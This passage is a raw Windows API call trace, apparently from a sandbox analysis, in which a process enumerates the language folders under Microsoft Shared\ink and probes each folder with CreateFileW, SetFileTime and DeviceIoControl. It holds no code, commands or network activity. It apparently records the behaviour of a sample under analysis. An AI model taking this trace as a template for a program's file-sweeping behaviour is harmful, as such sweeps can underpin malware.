GetLastError () returned 0x12 [0050.919] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.919] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0050.919] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0050.919] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.920] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0050.920] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.920] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0050.955] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0050.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf960e8 [0050.955] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf960e8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf960e8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0050.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf960e8) returned 1 [0050.955] NtClose (Handle=0x190) returned 0x0 [0050.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.955] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0050.955] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.955] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0050.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95940 [0050.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf952c8 [0050.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.956] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.956] GetLastError () returned 0x12 [0050.956] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0050.956] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0050.956] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.956] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.956] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.956] GetLastError () returned 0x12 [0050.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.956] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0050.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0050.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.956] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0050.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.956] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0050.957] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0050.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf960e8 [0050.957] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf960e8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf960e8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0050.957] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf960e8) returned 1 [0050.957] NtClose (Handle=0x184) returned 0x0 [0050.957] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.957] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0050.957] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.957] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.957] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.957] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0050.957] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95960 [0050.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf953d0 [0050.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x480) returned 0xf960e8 [0050.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf870d0) returned 1 [0050.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.958] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.958] GetLastError () returned 0x12 [0050.958] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0050.958] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0050.958] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.958] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.958] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.958] GetLastError () returned 0x12 [0050.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.958] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0050.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0050.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.958] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0050.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.958] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0050.959] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0050.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf96570 [0050.959] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf96570, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf96570, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0050.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf96570) returned 1 [0050.959] NtClose (Handle=0x190) returned 0x0 [0050.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.959] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0050.959] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.959] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0050.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95980 [0050.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf954d8 [0050.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.959] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.959] GetLastError () returned 0x12 [0050.959] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0050.960] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0050.960] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.960] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.960] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.960] GetLastError () returned 0x12 [0050.960] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.960] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0050.960] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0050.960] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.960] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0050.960] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.960] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0050.960] SetFileTime (hFile=0x184, 